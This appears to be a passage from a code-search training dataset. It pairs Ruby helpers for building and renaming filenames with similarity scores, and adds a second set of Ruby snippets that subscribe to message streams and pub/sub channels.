"def changeExt(filename, newext) \n\tuseme = filename.dup\n\treturn useme if ['.', '..'].include? filename\n\tif newext != ''\n\t\tnewext = (newext =~ /^\\./) ? newext : (\".\" + newext)\n\tend\n\tuseme.sub!(%r(([^/\\\\])\\.[^./\\\\]*$)) { $1 + newext } || useme + newext\nend",
"def new_ending(sourcefile, type)\n #sourcefile.sub(/\\.[^.]+$/, \".#{type.to_s}\")\n \"#{sourcefile}.#{type.to_s}\"\nend",
"def suffixize(lang)\n lang.blank? ? \"\" : \"_#{lang}\"\n end",
"def proper_filename(file)\n file.gsub(/[^\\w]/,'_')\n end",
"def suffix(str) # 'str' points to the same string, \"John\", as 'name' does (at he start of this method).\n str << \"son\" # Ruby Docs: \"str << obj → str\".\nend",
"def rename_out fileName\r\n name = fileName.split('/')[-1]\r\n name = name.split('\\\\')[-1]\r\n return \"Code_From_#{name.gsub(/\\./,'_')}.html\"\r\n end",
"def archive_file_suffix\n case @roll_period\n when :weekly\n @file_date.strftime(\"week-of-%Y-%m-%d\").to_s\n when :monthly\n @file_date.strftime(\"%Y-%m\").to_s\n else\n @file_date.strftime(\"%Y-%m-%d\").to_s\n end\n end",
"def make_filename(file_index)\n return SAVE_PATH + SAVE_FILE_NAME.gsub(/\\{ID\\}/i) { (file_index + 1).to_s }\n end",
"def full_filename_fu(filename)\n version_prefix = \"#{version_name}_\"\n filename = filename.gsub(version_prefix, \"\")\n ext = nil\n basename = filename.gsub /\\.\\w+$/ do |s|\n ext = s; ''\n end\n \"#{basename}_#{version_name}#{ext}\"\n end",
"def basename_without_ext; end",
"def filename(record, file)\n original = \"#{file.basename}.#{file.extension}\"\n write_attribute(:original_filename, original)\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n \"#{application_for_offering.id.to_s}-#{title.gsub(/[\\s,\\.\\\\\\/\\*\\?\\%\\:\\|\\\"\\'\\<\\>]?/,'')}.#{ext}\"\n end",
"def genfilename(ext, time = Time.now)\n time.strftime(\"%Y-%m-%d\") + ext\n end",
"def suffix\n @suffix || parse_and_return(:@suffix)\n end",
"def underscore_filename_for(path)\n File.basename(path, '.*').\n gsub(/[^a-zA-Z0-9]/, '_').\n concat(File.extname(path))\n end",
"def versioned_filename(base, first_suffix='.00')\n suffix = nil\n filename = base\n while File.exists?(filename)\n suffix = (suffix ? suffix.succ : first_suffix)\n filename = base + suffix\n end\n return filename\n end",
"def add_csv_suffix_if_needed(filename)\n filename += (filename.end_with? '.csv') ? '' : '.csv'\n end",
"def create_filename(prev_name)\n prev_name[/\\d+$/] ? prev_name.next : prev_name + '02'\n end",
"def filename\n \"#{original_filename_without_extension.parameterize}_#{model.filename_token}#{original_extension}\" if original_filename\n end",
"def basename(suffix = T.unsafe(nil)); end",
"def cmd_suffix(cmd)\n if cmd =~ VALID_NAME\n cmd\n else\n mod = cmd.gsub(/\\W+/,'_')\n mod.gsub!(/^_+/, '')\n mod.gsub!(/_+$/, '')\n mod\n end\n end",
"def build_filename\n \"%s/%s_%06d.json\" % [dir, prefix, index]\n end",
"def add_underscore_to(file)\n f = Pathname.new(file)\n if f.basename.to_s =~ /^_/\n file\n else\n \"#{f.dirname}/_#{f.basename}\"\n end\n end",
"def add_directional_suffix key, dir\n\n # Nothing to do if the direction isn't provided.\n return key if dir.blank?\n\n # Need to convert the key to a string since it is likely\n # a symbol that has been provided.\n dir_key = ''\n dir_key << key.to_s\n dir_key << '-'\n dir_key << dir.to_s\n dir_key.to_sym\n end",
"def file_name\n \"#{@file_name}.#{extension}\"\n end",
"def make_filename(file_index)\r\n return \"Save#{file_index + 1}.rxdata\"\r\n end",
"def sub_ext(ext); end",
"def f(prefix, suffix)\r\n \r\n end",
"def add_ext(str,ext)\n ( str.strip=~/\\.#{ext}$/ ) ? str.strip : \"#{str.strip}.#{ext}\"\n end",
"def filename\n \"#{secure_token(10)}.#{file.extension}\" if original_filename.present?\n end",
"def ext_name(name)\r\n return name.to_s if name.kind_of?(Symbol)\r\n return name.gsub(/\\s/, '_')\r\n end",
"def add_extension(path); end",
"def export_file_name(extension)\n \"CompSage Report on #{@survey.job_title.gsub(/[\\\\\\/:\\*\\?\"<>\\|]/,' ')}.#{extension}\"\n end",
"def add_permalink_suffix(template, permalink_style); end",
"def extension_with_delimiter\n File.extname @filename\n end",
"def strip_filename_suffix(filename, suffix)\n f = filename.rpartition(File.extname(filename))\n f[0] = strip_suffix(f[0], suffix)\n f.join\n end",
"def name_attribute(suffix = nil)\n extra = suffix ? \"_#{suffix}\" : ''\n %(name=\"#{name_base}#{extra}\")\n end",
"def +(suffix)\n suffix = suffix.to_s\n\n call + (suffix.start_with?(' ') ? '' : ' ') + suffix\n end",
"def with_file_extension(name, entry_type)\n return name unless File.extname(name.to_s).empty?\n\n extension = extension_for_type(entry_type)\n extension ? \"#{ name }.#{ extension }\" : name\n end",
"def filename(count = 0)\n \"_paypal_#{count.to_s.rjust(4, '0')}.iif\"\nend",
"def suffix\n nil\n end",
"def add_extension(extension)\n @parts[-1] += extension\n self\n end",
"def make_filename(filename)\n ### Making the filename\n bname=File.basename(filename,\".xml\")\n dname=File.dirname(filename)\n part=Array.new\n part=dname.split(\"/\")\n tmp1=String.new\n if (!(part.empty?)) then \n part.each{|ex| if (ex=~/^[0-9]/) then tmp1=ex end}\n end\n if (!(tmp1.empty?)) then \n newfilename=bname+\"_\"+tmp1\n else \n newfilename = bname\n end\n return newfilename\n end",
"def make_filename(index)\n return sprintf(\"Save%02d.rvdata2\", index + 1) if index.is_a?(Fixnum)\n \"#{index}.rvdata2\"\n end",
"def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present? \n end",
"def valid_new_filename(file)\n new_file = file\n counter = 0\n while File.exist?(new_file) do\n counter += 1\n ext = File.extname(file)\n basename = file.split(ext).first\n new_file = \"#{basename}_#{counter}#{ext}\"\n end\n new_file\n end",
"def rename_file\n\n end",
"def to_name\n basename.to_s.sub extname, ''\n end",
"def filename\n \"#{secure_token(10)+File.extname(original_filename)}\" if original_filename.present?\n end",
"def base file, ext; return File.basename file, ext end",
"def base file, ext; return File.basename file, ext end",
"def bundle_resouce_file_name\n self.title.gsub(/\\s/,\"_\")\n end",
"def filename\n @filename = \"#{secure_token}_#{split_extension(original_filename)}.#{file.extension}\" if original_filename.present?\n end",
"def save_filename(id, ext=\"SAV\")\n \"CHRDAT#{id}.#{ext}\"\n end",
"def change_extension(file, new_extension)\n file.sub(/\\.[a-zA-Z0-9]+\\z/, new_extension)\n end",
"def add_suffixes(possible_id, suffix, iterations) # :nodoc:\n ids_with_suffixes = []\n iterations.to_i.times do\n ids_with_suffixes << possible_id + suffix.to_s\n suffix.succ!\n end\n\n ids_with_suffixes\n end",
"def file_name(s)\n s.gsub(/[\\s\\\\\\/]/, '_')\n end",
"def chop_extension filename\n filename.sub %r{\\.\\w+$}, \"\"\n end",
"def source_suffix\n options[:source_suffix]\n end",
"def filename\n \"#{folder_id}#{File.extname(super)}\"\n end",
"def get_unique_file_name fname\n 100.times do |i|\n suffix = \"%03d\" % i\n extn = File.extname(fname)\n base = File.basename(fname, extn)\n # f = fname + '.' + suffix\n f = base + suffix + extn\n return f unless File.exist?(f)\n end\n\n timestamp = Time.now.strftime('%Y%m%d-%H%M%S')\n return fname + '.' + timestamp\nend",
"def remove_suffix_to(piece_name)\n piece_name.tr(\"0-9\", \"\")\n end",
"def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end",
"def original_filename(filename)\n /\\d+_\\d+_(.+)?/.match(filename.to_s)&.captures&.first\n end",
"def original_filename(filename)\n /\\d+_\\d+_(.+)?/.match(filename.to_s)&.captures&.first\n end",
"def suffix\n Spree::Config.events.suffix\n end",
"def rename_with_file_type(ori, nam)\n s = ori.split('.')\n nam + '.' + s[s.length - 1]\n end",
"def file_name\n name.underscore\n end",
"def replace_extname(path, extension)\n path.sub(/#{File.extname(path)[1..-1]}$/, extension)\n end",
"def build_converted_file_name(source, from_lang, to_lang)\n # Get components of filename\n dirname = File.dirname(source)\n basename = File.basename(source, \".*\")\n extname = File.extname(source)\n\n # Blank out the from language\n basename.sub! Regexp.new(\"_#{from_lang}\", \"i\"), \"\"\n \n \"#{dirname}/#{basename}_#{to_lang}#{extname}\"\n end",
"def generate_intended_filename_regex conf\n prefix = \"#{ conf['local_hostname'] }-\\\\d{4}_\\\\d{2}_\\\\d{2}\"\n case conf['type']\n when /dir/\n dir_part = conf['path'].sub(/\\//,'').gsub(/\\//,\"-\")\n return \"#{ prefix }-#{ dir_part }\\\\.tar\\\\.gz\"\n when /mys/\n db_part = conf['database']\n return \"#{ prefix }-#{ db_part }\\\\.sql\\\\.gz\"\n end\nend",
"def suffix\n name.scan(MetaDep::TEMPLATE_SUFFIX).flatten.first\n end",
"def unique_resource_name(build_option_name, suffix)\n normalised_name = build_option_name.downcase.gsub(/[^a-z]+/, '-')\n \"#{normalised_name}##{suffix}\"\n end",
"def create_suffix(longurl,flag)\n ascii_value = ascii_value(longurl)\n if(flag == 1)\n ascii_value = ascii_value + rand(100..1000)\n end\n suffix = \"\"\n map_hash = \"ABCDEFGHIJKLMNO%PQRSTUVWXYZ0123&456789abcdefghi$jklmnopqrstuvwx*yz\" #base(66)\n while ascii_value!=0\n suffix += map_hash[ascii_value % 66]\n ascii_value = ascii_value/10\n end\n return suffix\n end",
"def file_name_for(*args)\n \"%s.%s\" % [args.compact.join(self.class.thumbnail_separator), extension]\n end",
"def extname( fn )\n ::File.extname(fn).tr('.', '')\n end",
"def filename\n if original_filename\n uuid = UUIDTools::UUID.md5_create(UUIDTools::UUID_DNS_NAMESPACE, original_filename)\n extname = File.extname(original_filename)\n return \"#{uuid}#{extname}\"\n end\n end",
"def append_without_prefix(string); end",
"def backup_filename\n [\n category,\n owner.full_name,\n title\n ].join(\"_\") + Pathname.new(original_filename).extname\n end"
] |
[
"0.7029925",
"0.6958982",
"0.69057006",
"0.69057006",
"0.69057006",
"0.69057006",
"0.69057006",
"0.67959976",
"0.66103756",
"0.655469",
"0.6530568",
"0.64537233",
"0.6397378",
"0.6339435",
"0.630913",
"0.61896306",
"0.61211896",
"0.611881",
"0.609876",
"0.59724325",
"0.59506476",
"0.5945865",
"0.5940052",
"0.5938172",
"0.59303963",
"0.5927182",
"0.59230673",
"0.59135413",
"0.5903627",
"0.5903482",
"0.5895466",
"0.58739245",
"0.5869967",
"0.5855417",
"0.58422863",
"0.5837737",
"0.5828879",
"0.5826012",
"0.5825512",
"0.58030677",
"0.57967585",
"0.57702047",
"0.5770123",
"0.575756",
"0.57428",
"0.5741475",
"0.57384706",
"0.57236224",
"0.5708494",
"0.5702764",
"0.56887645",
"0.56850404",
"0.56723154",
"0.5670557",
"0.56662923",
"0.5664009",
"0.5661717",
"0.56529593",
"0.5642792",
"0.56274873",
"0.56183916",
"0.56173503",
"0.5599092",
"0.55822444",
"0.55635184",
"0.5554868",
"0.5550123",
"0.5542573",
"0.5541618",
"0.5540455",
"0.5540455",
"0.5533687",
"0.5528142",
"0.5518118",
"0.55180514",
"0.5512969",
"0.5511926",
"0.55038005",
"0.550282",
"0.54974705",
"0.54891413",
"0.5485551",
"0.5481378",
"0.54807633",
"0.54807633",
"0.54730225",
"0.5468653",
"0.5464453",
"0.5458857",
"0.54578996",
"0.54534966",
"0.5452485",
"0.5452472",
"0.54511356",
"0.5444608",
"0.5441648",
"0.54386556",
"0.5438554",
"0.54193795"
] |
0.76751864
|
0
|
hash defines key => value for updating template
|
def replace_strings(str, rhash)
s = str.to_s
return s if ! (s && rhash)
rhash.each do |k,v|
s.gsub!(k.to_s, v.to_s)
end
s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def template_replace template, myhash\n #tmpltext=File::read(template);\n\n t = template.dup\n t.gsub!( /##(.*?)##/ ) {\n #raise \"Key '#{$1}' found in template but the value has not been set\" unless ( myhash.has_key?( $1 ) )\n myhash[ $1 ].to_s\n }\n t\n end",
"def hash_template\n template = {}\n \n info.each do | key, value |\n template[key] = generate_structure( value )\n end\n \n template\n end",
"def update_template(key, value)\n t = { key => value }\n raw = read_attribute(\"template\") \n d = raw.nil? ? {} : JSON.parse(raw) \n merged = d.deep_merge(t)\n self.template = JSON.generate(merged)\n self.save!\n end",
"def hash(key); end",
"def update(hash); end",
"def hash\n model.hash + key.hash\n end",
"def hash\n [fully_qualified_rel,\n tmpl.pattern,\n templated?].hash\n end",
"def template_map\n \n end",
"def key=(value); end",
"def update_hash\n { :id => @id,\n :email => @email,\n :api_key => @api_key,\n :password => @password,\n :first_name => @first_name,\n :last_name => @last_name,\n :phone => @phone,\n :authority => ADMIN,\n :password_reset_key => @password_reset_key,\n :password_reset_sent_at => @password_reset_sent_at,\n :created_at => @created_at, :verified => @verified }\n end",
"def hash_for(expression)\n\n end",
"def key_template\n @key_template ||= [*name.downcase.split(\"::\"), \"%<id>d\"].join(\":\")\n end",
"def update_item(hash, key, value)\n hash[key] = value\n p hash\nend",
"def hash\n [fully_qualified_rel,\n raw_href,\n templated?].hash\n end",
"def push(key, template)\n self[key.first][key.last] = template\n end",
"def push(key, template)\n self[key.first][key.last] = template\n end",
"def change(hash); end",
"def key=(key); end",
"def update\n @p.transaction do\n @p['hash'] = @hash\n end\n end",
"def hash=(_arg0); end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def test_hash_behavior\n t = DocTemplate.new fixture('test.docx')\n\n assert_equal 0, t.size\n\n t['key'] = 'value'\n assert_equal 'value', t['key']\n\n t.merge!({'another_key' => 'another_value'})\n assert_equal 'another_value', t['another_key']\n\n assert_equal 2, t.size\n t.clear\n assert_equal 0, t.size\n end",
"def update\n return unless @hash\n begin\n lockf = File.open(@path+\".lock\", File::CREAT|File::RDWR, 0600)\n lockf.flock File::LOCK_EX\n f = File.open(@path+\".new\", File::CREAT|File::TRUNC|File::WRONLY, 0600)\n for k,v in @hash\n #f.printf \"%s=%s\\n\", CGI::escape(k), CGI::escape(String(Marshal.dump(v)))\n # Just supports bools and strings\n if v == true\n valueString = 'BT'\n elsif v == false\n valueString = 'BF'\n else\n valueString = 'S' + v.to_s\n end\n f.printf \"%s=%s\\n\", CGI::escape(k), CGI::escape(valueString)\n end\n f.close\n File.rename @path+\".new\", @path\n ensure\n f.close if f and !f.closed?\n lockf.close if lockf\n end\n end",
"def shave_value(template)\n Mustache.render(template, binding)\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def hash\r\n @_hash ||= _hash\r\n end",
"def format(key, template)\n template.result(binding)\n end",
"def update(item, new_q, hash)\n hash[item]=new_q\n puts hash\nend",
"def order!(hash, template)\n ordered = ActiveSupport::OrderedHash.new\n\n template.each do |key|\n if hash[key]\n ordered[key] = hash[key]\n end\n end\n\n ordered\n end",
"def key_map\r\n hash = {}\r\n hash['footer'] = footer\r\n hash['clicktrack'] = clicktrack\r\n hash['opentrack'] = opentrack\r\n hash['unsubscribe'] = unsubscribe\r\n hash['bcc'] = bcc\r\n hash['attachmentid'] = attachmentid\r\n hash['template'] = template\r\n hash\r\n end",
"def rehash() end",
"def hash()\n #This is a stub, used for indexing\n end",
"def update(hash, item, qty)\n hash[item] = qty\nend",
"def update(hash, item, qty)\n hash[item] = qty\nend",
"def hvals(key); end",
"def hvals(key); end",
"def it_renders_template_to_hash(template,hash)\n tpl = Bldr::Template.new {template}\n result = tpl.render(Bldr::Node.new)\n result.should == jsonify(hash)\n end",
"def will_create_new_hash(**hash)\n hash[:x] = 10 # Change\n p hash\n p hash.object_id \nend",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def render_function_hash(input_pair_array)\n hash = {};\n hash[:partial] = input_pair_array[0].to_s;\n if(!input_pair_array.empty?) #if this partial has inputs\n hash[:locals] = input_pair_array[1]; #put in hash\n end\n return hash;\n end",
"def hash\n value.hash\n end",
"def hash\n [fully_qualified_rel, raw_href, templated?].hash\n end",
"def params=(hash); end",
"def params=(hash); end",
"def hash_key(*args, block)\n # TODO: can't be nested\n def_args = extract_definition_args_nameless(args)\n\n return unless check_when(def_args, @current_source)\n return unless version_wanted(def_args)\n\n @hash_key = field_value(def_args, block)\n # puts \"hash_key = #{@hash_key}\"\n end",
"def update_quantity(input_hash, item, qty)\n# steps: use input item as key and input quantity as value\n# output: hash \n input_hash[item] = qty\n \nreturn input_hash\nend",
"def autovivify( hash, key )\n\t\t\thash[ key ] = Hash.new( &Assemblage::DataUtilities.method(:autovivify) )\n\t\tend",
"def update\n return unless @hash\n begin\n lockf = File.open(@path+\".lock\", File::CREAT|File::RDWR, 0600)\n lockf.flock File::LOCK_EX\n f = File.open(@path+\".new\", File::CREAT|File::TRUNC|File::WRONLY, 0600)\n for k,v in @hash\n f.printf \"%s=%s\\n\", CGI.escape(k), CGI.escape(String(Marshal.dump(v)))\n end\n f.close\n File.rename @path+\".new\", @path\n ensure\n f&.close\n lockf&.close\n end\n end",
"def hash(*) end",
"def output_hash; end",
"def _key(*args); args.hash; end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def template(value)\n keys = map.split('/')\n raise \"Cannot deal with an empty map!\" if keys.empty?\n res = value\n while !keys.empty? do\n res = {keys.pop => res}\n end\n res\n end",
"def hash\n [value].hash\n end",
"def hash\n [value].hash\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n @hash\n end",
"def hash_key(name); end",
"def template(data = {})\n str = dup\n\n data.each do |key, value|\n str.gsub!(\":#{key}\", value.to_s)\n end\n\n str\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def put_static_value(key, value)\n\t\t\tput_section_value(TEMPLATE_DATA_KEY, key, value)\n\t\tend",
"def hash\n swap\n scatter\n completed_string\n end",
"def key_for(data)\n data.hash\n end",
"def key=(_); end",
"def key=(_); end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def assign_hash(hash)\n super hash\n create_if_exists hash, 'title', 'de', name: :t_title\n create_if_exists hash, 'title', 'en', name: :t_title unless hash.key?('t_title')\n create_if_exists hash, 'title', name: :t_title unless hash.key?('t_title')\n\n create_if_exists hash, 'short', name: :t_short\n create_if_exists hash, 'keywords', 'de', name: :t_short\n create_if_exists hash, 'thesisType', name: :t_thesis_type\n create_if_exists hash, 'instituteName', 'de', name: :t_institute_name\n create_if_exists hash, 'instituteCode', name: :t_institute_code\n create_if_exists hash, 'facultyName', 'de', name: :t_faculty_name\n create_if_exists hash, 'facultyCode', name: :t_faculty_code\n create_if_exists hash, 'url', name: :detail_url\n\n create_if_exists hash, 'advisor', 'oid', name: :t_advisor_oid\n create_if_exists hash, 'advisor', 'familyName', name: :t_advisor_family_name\n create_if_exists hash, 'advisor', 'givenName', name: :t_advisor_given_name\n create_if_exists hash, 'advisor', 'prefixTitle', name: :t_advisor_prefix_title\n create_if_exists hash, 'advisor', 'postfixTitle', name: :t_advisor_postfix_title\n\n create_if_exists hash, 'assistant', 'oid', name: :t_assistant_oid\n create_if_exists hash, 'assistant', 'familyName', name: :t_assistant_family_name\n create_if_exists hash, 'assistant', 'givenName', name: :t_assistant_given_name\n create_if_exists hash, 'assistant', 'prefixTitle', name: :t_assistant_prefix_title\n create_if_exists hash, 'assistant', 'postfixTitle', name: :t_assistant_postfix_title\n end",
"def put(key, value)\n \n end",
"def hash\n @hash || calculate_hash!\n end",
"def build_template_params_hash(hash)\n @template_params.each_with_parent do |parent, key, value|\n next if value.blank? || key.blank?\n parent_name = set_fieldset_key(hash, parent, 'system_info')\n hash[parent_name][key] = value\n end\n end",
"def update_item(hash, item, qty)\n hash[ item ] = qty\nend",
"def update\n # don't need to update; hash is shared\n end",
"def geohash(key, member); end",
"def update(item, new_q, hash)\n hash[item]=new_q\nend",
"def hash\n @hash.hash\n end",
"def add_item(hash, new_key, new_value)\n hash[new_key] = new_value\n p hash\nend",
"def hash()\n #This is a stub, used for indexing\nend",
"def template_cache_key\n context[:template_cache_key]\n end",
"def key_map\r\n hash = {}\r\n hash['status'] = status\r\n hash['value'] = value\r\n hash['updatedAt'] = updated_at\r\n hash\r\n end",
"def store_template_to_redis( template_body )\n return self.redis_connector.set( redis_key, template_body )\n end"
] |
[
"0.6947101",
"0.6938895",
"0.67419475",
"0.6569435",
"0.6507296",
"0.63537",
"0.6277459",
"0.61571515",
"0.61491185",
"0.6125935",
"0.61001676",
"0.6075857",
"0.606582",
"0.6011686",
"0.5998922",
"0.5998922",
"0.5947136",
"0.59470016",
"0.5946143",
"0.5933196",
"0.5919809",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5912693",
"0.5899075",
"0.5899075",
"0.5899075",
"0.5896636",
"0.58868134",
"0.5876952",
"0.587009",
"0.5869612",
"0.58670396",
"0.585634",
"0.58383733",
"0.5832596",
"0.5830251",
"0.58287907",
"0.58197117",
"0.58187383",
"0.58187383",
"0.5814945",
"0.5814945",
"0.58130276",
"0.5804169",
"0.57964694",
"0.57964694",
"0.57964694",
"0.57964694",
"0.57964694",
"0.57964694",
"0.57964694",
"0.5792922",
"0.5788281",
"0.57879657",
"0.5779253",
"0.5779253",
"0.5761026",
"0.5750916",
"0.5750054",
"0.5724521",
"0.5722861",
"0.5718161",
"0.5713826",
"0.5712307",
"0.5712307",
"0.5707125",
"0.5704564",
"0.5704564",
"0.56907386",
"0.56884444",
"0.56873053",
"0.56846374",
"0.5682149",
"0.56805944",
"0.56702805",
"0.5662742",
"0.5655502",
"0.5655502",
"0.5654723",
"0.5645058",
"0.5638527",
"0.5633518",
"0.5632565",
"0.56288385",
"0.5627169",
"0.5624528",
"0.5618352",
"0.56120473",
"0.5586853",
"0.55829674",
"0.55758077",
"0.55679524",
"0.5563355"
] |
0.0
|
-1
|
Subscribe for messages coming from Live Stream with name 'name' Each subscriber will receive a copy of messages flowing through the Live Stream
|
def message_from(name, options = {}, &block)
receive_message_from name, options, &block
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subscribed\n stream_from channel_name\n end",
"def subscribed\n \t#stream_from 'demo_chan'\n end",
"def subscribed\n super\n increase_current_users\n stream_from channel\n end",
"def subscribe\n debug [self.name, \"incoming\"]\n subscribe_request\n end",
"def subscribe(name, params, &blk)\n id = self.next_id()\n self.send({msg: 'sub', id: id, name: name, params: params})\n\n @subs[name] = id\n @callbacks[id] = blk\n end",
"def subscribe(name, config = {})\n return if subscriptions.has_key? name\n\n queue = @channel.queue(ns(name), {:auto_delete => true}.merge!(config))\n queue.bind(@exchange, :routing_key => ns(name)) \n\n queue.subscribe do |headers, payload|\n decoded = MP.unpack(payload)\n subscriptions[name].handlers.each do |h|\n h.receive(decoded[\"uuid\"], headers.type, decoded[\"msg\"])\n end\n end\n\n subscriptions[name] = HandlerCollection.new(queue, [])\n end",
"def subscriber( name )\n raise NotImplementedError, \"please implement 'subscriber'\"\n end",
"def subscribe!\n # TODO: Implement\n end",
"def subscribe(message_name, &block)\n @subscriptions = {} if @subscriptions.nil?\n consumers = @subscriptions[message_name]\n consumers = [] if consumers.nil?\n consumers << block\n @subscriptions[message_name] = consumers\n @transport.bind message_name\n end",
"def subscriber(name)\n subscriber_name = \"#{@name}.#{name}\"\n @client.sadd @name, subscriber_name\n queue = ::Qup::Adapter::Redis::Queue.new(@uri, subscriber_name, @name)\n ::Qup::Subscriber.new( self, queue )\n end",
"def subscribed; end",
"def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end",
"def do_subscribe\n subscribe_to(@nodename)\n get_subscriptions\n end",
"def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end",
"def subscribe \n @subscription = MQ.new\n @subscription.queue(@uuid).bind(@subscription.fanout('global_history')).subscribe do |result|\n x = Mash.new(JSON::parse(result))\n puts \"received: #{x[:uuid]} #{x[:user]}@#{x[:host]}$ #{x[:message]}\"\n if x[:uuid] != @uuid\n @pause = true\n File.open(path, \"a\") {|f| f.puts(x[:message])}\n skip_ahead\n @pause = false\n schedule_next_read\n end\n end\n end",
"def subscribe\n @player.subscribe(self)\n end",
"def subscribe\n # PSHB.subscribe(\"/api/superfeedr/receive_feeds/\", \"http://li182-172.members.linode.com/feeds/#{self.id}\", \"async\")\n PSHB.subscribe(\"/api/superfeedr/receive_feeds/\", self.url, \"async\")\n end",
"def subscribe(event_name, &block) # rubocop:disable Metrics/MethodLength\n @subscribers << Subscriber.new(event_name, block, @logger)\n\n return if thread_spawned?\n thread_spawned!\n\n Thread.new do\n loop do\n @redis.with do |conn|\n message = conn.brpoplpush(@stream, EVENT_STORE)\n call_subscribers(\n serializer.deserialize(message)\n )\n end\n end\n end\n end",
"def subscribe\n conn = @cluster.connect\n conn.subscribe(ALL)\n conn.subscribe(SHARE)\n conn.subscribe(@channel)\n conn.on(:message) do |channel, message|\n @messages.push([channel, message])\n end\n end",
"def stream(name)\n ::M2X::Client::Stream.fetch(@client, self, name)\n end",
"def subscribe(&onMessage) # block\n end",
"def subscribe(*channels, &block); end",
"def subscribe(*a, &b)\n name = gen_id\n EM.schedule { @subs[name] = EM::Callback(*a, &b) }\n\n name\n end",
"def subscribe_to_channel; end",
"def subscribed\n id = params.fetch(:id)\n return unless execution = JobQueue.find_by_id(id)\n\n execution.viewers.push current_user\n\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n builder = EventBuilder.new(execution.job)\n execution.output.each do |event, data|\n transmit event: event, data: builder.payload(event, data)\n end\n # TODO: disconnect all listeners so they close their sockets ?\n # then replace the reloaded/finished/waitUntilEnabled stuff with that\n end\n end\n end",
"def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def subscribe\n \nend",
"def subscribe\n self.subscribed = true\n end",
"def subscribed # :doc:\n # Override in subclasses\n end",
"def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"def listen\n @queue.subscribe(block: true) do |delivery_info, properties, body|\n puts(body)\n end\n end",
"def subscribe(channel, *channels, &block); end",
"def subscribe(event_name, &block)\n name = name_with_suffix(event_name)\n listener_names << name\n adapter.subscribe(name, &block)\n end",
"def subscribe(event_name, &block)\n @subscribers << Subscriber.new(event_name, block, @logger)\n end",
"def subscribe(subscription)\n @pipe.send_strings [\"subscribe\", subscription]\n end",
"def start\n subscribe &Proc.new { |message| listener(message) }\n end",
"def subscribe(&b)\n @publisher.subscribe(&b)\n end",
"def subscribe(url)\n subscribed_feed = UrlSubscriber.subscribe url, self\n end",
"def broadcast(event_name, payload)\n @subscribers.map do |subscriber|\n subscriber.call(event_name, payload)\n end\n end",
"def subscribe_channels\n @channels.each { |channel| subscribe(channel) }\n end",
"def initialize name, conn\n @conn = conn\n @name = name.to_s\n @callbacks = {}\n @subscribe_sent = false\n end",
"def run_subscribe(conn, dest)\n return if not @need_subscribe\n @log.debug \"run_subscribe starts\"\n conn.subscribe(dest) # call hook\n @log.debug \"run_subscribe done\"\n @need_subscribe = false\n @need_gets = true\nend",
"def subscribed\n @course_queue = CourseQueue.find(params[:id])\n stream_for @course_queue\n end",
"def subscribe(subscribes = [], queue_name = nil, subscribe_interval=10)\n return nil if subscribes.empty?\n\n # start listening on our queue\n queue = sqs.queue(queue_name)\n listener = QueueListener.new(queue)\n avail_proc = AvailabilityProcessor.new\n avail_proc.availability_changed = Proc.new do |availability_processor|\n info { \"Availability Changed! New list is:\\n #{availability_processor.all_available(false, true).inspect}\" }\n debug { \"received availability message #{availability_processor}\" }\n actions.each do |action|\n begin\n action.invoke(availability_processor)\n rescue Exception => ex\n error \"Error calling action #{action.inspect} with #{availability_processor.inspect}\", ex\n end\n end\n end\n listener.add_processor(avail_proc)\n listener_thread = listener.listen\n \n subscribe_thread = Thread.new do\n while true \n # subscribe to all the services we're interested in\n begin\n sub_msg = SubscriptionMessage.new(subscribes, queue_name, true)\n debug{ \"sending subscription message #{sub_msg.inspect}\" }\n send_message(monitor_queue, sub_msg)\n debug{ \"sleeping for #{subscribe_interval}s\" }\n sleep subscribe_interval\n rescue Exception => ex\n error \"Error sending subscription message: #{sub_msg.inspect}\", ex\n end\n end\n end\n \n return subscribe_thread\n end",
"def subscribers\n store[name].map { |r| r.contents } \n end",
"def receive_topic name\n @topic = sanitize_location_name name\n end",
"def stream(name, url)\n gateway_check\n update_status(@idletime, name, url)\n name\n end",
"def subscription(name = nil, &block)\n Subscription.new(name, &block)\n end",
"def stream(event)\nexp = [\"#bonjour_monde\"]\n client.event(track: exp.join(\",\")) do |object|\n stream(var_like, var_follow)\n end\nend",
"def listen \n response.headers[\"Content-Type\"] = \"text/event-stream\"\n redis = Redis.new\n\n key = \"/node/#{params[:event_id]}:change\"\n logger.info \"listen #{key}\"\n redis.subscribe(key) do |on|\n on.message do |event, data|\n response.stream.write \"event: update\\n\"\n response.stream.write \"data: \"+data+\"\\n\\n\"\n end\n end\n\n rescue IOError \n # Client disconnected\n ensure \n response.stream.close\n end",
